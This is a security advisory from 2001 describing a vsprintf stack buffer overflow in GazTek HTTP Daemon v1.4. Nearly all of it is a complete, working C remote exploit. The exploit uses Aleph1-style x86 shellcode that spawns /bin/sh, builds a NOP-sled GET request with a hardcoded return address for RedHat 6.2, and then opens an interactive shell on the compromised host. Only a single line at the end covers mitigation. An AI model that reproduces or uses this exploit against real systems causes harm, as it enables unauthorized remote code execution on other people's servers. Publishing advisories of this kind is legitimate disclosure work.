COMMAND

    GazTek HTTP Daemon (ghttpd)

SYSTEMS AFFECTED

    GazTek HTTP Daemon v1.4 (ghttpd)

PROBLEM

    Following is based on a qitest1's security advisory #002.   ghttpd
    is a  small and  easy to  configure HTTP  server with CGI support,
    tested on  Linux.   It can  run as  a standalone  daemon or can be
    called by inetd.

    A remote attacker can overflow a buffer and execute arbitrary code
    on the system with the privileges of the user running ghttpd, that
    is  nobody,  as  all  the  privileges  are dropped out.  Infact in
    util.c at line 219 we have:

        va_start(ap, format);           // format it all into temp
        vsprintf(temp, format, ap);
        va_end(ap);

    This bug can be succesfully exploited by a remote attacker.  There
    is a  demonstrative exploit  code below.   See the  code for  more
    info.

    /*
     * GazTek HTTP Daemon v1.4 (ghttpd) Linux x86 remote exploit
     * by qitest1 - 17/06/2001
     *
     * Root privileges are dropped out by the daemon, so a shell owned by
     * nobody will be executed.
     *
     * 0x69.. =)
     */
    
    #include <stdio.h>
    #include <string.h>
    #include <unistd.h>
    #include <netinet/in.h>
    #include <netdb.h>
    
    #define RETPOS 		161
    
    struct targ
    {
       int                  def;
       char                 *descr;
       unsigned long int    retaddr;
    };
    
    struct targ target[]=
        {
          {0, "RedHat 6.2 with GazTek HTTP Daemon v1.4 (ghttpd) from tar.gz", 0xbfffba47},
          {69, NULL, 0}
        };
    
      /* Just the dear old Aleph1's shellcode. This is the only shellcode
       * that seemed to work with this vulnerability. All the other ones
       * made the daemon crashing too early and zapping out connection,
       * shell and all their friends.
       */
    char shellcode[] =
      "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
      "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
      "\x80\xe8\xdc\xff\xff\xff/bin/sh";
    
    char            mybuf[RETPOS + 4];
    
    int             sockami(char *host, int port);
    void		do_mybuf(unsigned long retaddr);
    void		shellami(int sock);
    void		usage(char *progname);
    
    main(int argc, char **argv)
    {
    int     sel = 0,
            offset = 0,
            sock,
            cnt;
    char    *host = NULL,
	    sbuf[1024];
    
      printf("\n  GazTek HTTP Daemon v1.4 (ghttpd) exploit by qitest1\n\n");
    
      if(argc == 1)
            usage(argv[0]);
      while((cnt = getopt(argc,argv,"h:t:o:")) != EOF)
        {
       switch(cnt)
            {
       case 'h':
         host = strdup(optarg);
         break;
       case 't':
         sel = atoi(optarg);
         break;
       case 'o':
         offset = atoi(optarg);
         break;
       default:
         usage(argv[0]);
         break;
            }
        }
      if(host == NULL)
            usage(argv[0]);
    
      printf("+Host: %s\n  as: %s\n", host, target[sel].descr);
      printf("+Connecting to %s...\n", host);
      sock = sockami(host, 80);
      printf("  connected\n");
    
      target[sel].retaddr += offset;
      printf("+Building buffer with retaddr: %p...\n", target[sel].retaddr);
      do_mybuf(target[sel].retaddr);
      printf("  done\n");
    
      sprintf(sbuf, "GET /%s\n\n", mybuf);
      send(sock, sbuf, strlen(sbuf), 0);
      printf("+Overflowing...\n");
    
      printf("+Zzing...\n");
      sleep(2);
      printf("+Getting shell...\n");
      shellami(sock);
    }
    
    
    int
    sockami(char *host, int port)
    {
    struct sockaddr_in address;
    struct hostent *hp;
    int sock;
    
      sock = socket(AF_INET, SOCK_STREAM, 0);
      if(sock == -1)
            {
              perror("socket()");
              exit(-1);
            }
    
      hp = gethostbyname(host);
      if(hp == NULL)
            {
              perror("gethostbyname()");
              exit(-1);
            }
    
      memset(&address, 0, sizeof(address));
      memcpy((char *) &address.sin_addr, hp->h_addr, hp->h_length);
      address.sin_family = AF_INET;
      address.sin_port = htons(port);
    
      if(connect(sock, (struct sockaddr *) &address, sizeof(address)) == -1)
            {
              perror("connect()");
              exit(-1);
            }
    
      return(sock);
    }
    
    
    void
    do_mybuf(unsigned long retaddr)
    {
    int		i,
		    n = 0;
    unsigned long 	*ret;
    
      memset(mybuf, 0x90, sizeof(mybuf));
      for(i = RETPOS - strlen(shellcode); i < RETPOS; i++)
	    mybuf[i] = shellcode[n++];
      ret = (unsigned long *)(mybuf + RETPOS);
      *ret = retaddr;
      mybuf[RETPOS + 4] = '\x00';
    }
    
    void
    shellami(int sock)
    {
    int             n;
    char            recvbuf[1024];
    char            *cmd = "id; uname -a\n";
    fd_set          rset;
    
      send(sock, cmd, strlen(cmd), 0);
    
      while (1)
        {
          FD_ZERO(&rset);
          FD_SET(sock,&rset);
          FD_SET(STDIN_FILENO,&rset);
          select(sock+1,&rset,NULL,NULL,NULL);
          if (FD_ISSET(sock,&rset))
            {
              n=read(sock,recvbuf,1024);
              if (n <= 0)
                {
                  printf("Connection closed by foreign host.\n");
                  exit(0);
                }
              recvbuf[n]=0;
              printf("%s",recvbuf);
            }
          if (FD_ISSET(STDIN_FILENO,&rset))
            {
              n=read(STDIN_FILENO,recvbuf,1024);
              if (n>0)
                {
                  recvbuf[n]=0;
                  write(sock,recvbuf,n);
                }
            }
        }
      return;
    }
    
    void
    usage(char *progname)
    {
    int             i = 0;
    
      printf("Usage: %s [options]\n", progname);
      printf("Options:\n"
             "  -h hostname\n"
             "  -t target\n"
             "  -o offset\n"
             "Available targets:\n");
      while(target[i].def != 69)
            {
              printf("  %d) %s\n", target[i].def, target[i].descr);
              i++;
            }
    
      exit(1);
    }

SOLUTION

    The author was contacted but he  did not answered.  Apply a  patch
    to the source code of the daemon or remove it from your system.